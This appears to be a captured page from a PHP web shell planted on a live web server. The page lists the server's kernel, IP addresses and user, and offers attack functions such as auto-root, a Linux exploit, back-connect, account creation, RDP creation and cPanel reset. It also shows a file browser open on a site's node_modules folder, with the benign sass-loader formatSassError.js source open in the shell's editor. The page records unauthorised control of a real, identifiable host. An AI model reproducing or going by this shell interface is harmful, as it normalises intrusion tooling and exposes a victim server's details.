Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
amatya /
node_modules /
sass-loader /
lib /
[ HOME SHELL ]
Name
Size
Permission
Action
formatSassError.js
2.01
KB
-rw-r--r--
importsToResolve.js
1.96
KB
-rw-r--r--
loader.js
4.64
KB
-rw-r--r--
normalizeOptions.js
3.25
KB
-rw-r--r--
proxyCustomImporters.js
1.05
KB
-rw-r--r--
webpackImporter.js
2.33
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : formatSassError.js
"use strict"; const path = require("path"); const os = require("os"); const fs = require("fs"); // A typical sass error looks like this const SassError = { // eslint-disable-line no-unused-vars message: "invalid property name", column: 14, line: 1, file: "stdin", status: 1 }; /** * Enhances the sass error with additional information about what actually went wrong. * * @param {SassError} err * @param {string} resourcePath */ function formatSassError(err, resourcePath) { // Instruct webpack to hide the JS stack from the console // Usually you're only interested in the SASS stack in this case. err.hideStack = true; // The file property is missing in rare cases. // No improvement in the error is possible. if (!err.file) { return; } let msg = err.message; if (err.file === "stdin") { err.file = resourcePath; } // node-sass returns UNIX-style paths err.file = path.normalize(err.file); // The 'Current dir' hint of node-sass does not help us, we're providing // additional information by reading the err.file property msg = msg.replace(/\s*Current dir:\s*/, ""); err.message = getFileExcerptIfPossible(err) + msg.charAt(0).toUpperCase() + msg.slice(1) + os.EOL + " in " + err.file + " (line " + err.line + ", column " + err.column + ")"; } /** * Tries to get an excerpt of the file where the error happened. * Uses err.line and err.column. * * Returns an empty string if the excerpt could not be retrieved. * * @param {SassError} err * @returns {string} */ function getFileExcerptIfPossible(err) { try { const content = fs.readFileSync(err.file, "utf8"); return os.EOL + content.split(os.EOL)[err.line - 1] + os.EOL + new Array(err.column - 1).join(" ") + "^" + os.EOL + " "; } catch (err) { // If anything goes wrong here, we don't want any errors to be reported to the user return ""; } } module.exports = formatSassError;
Close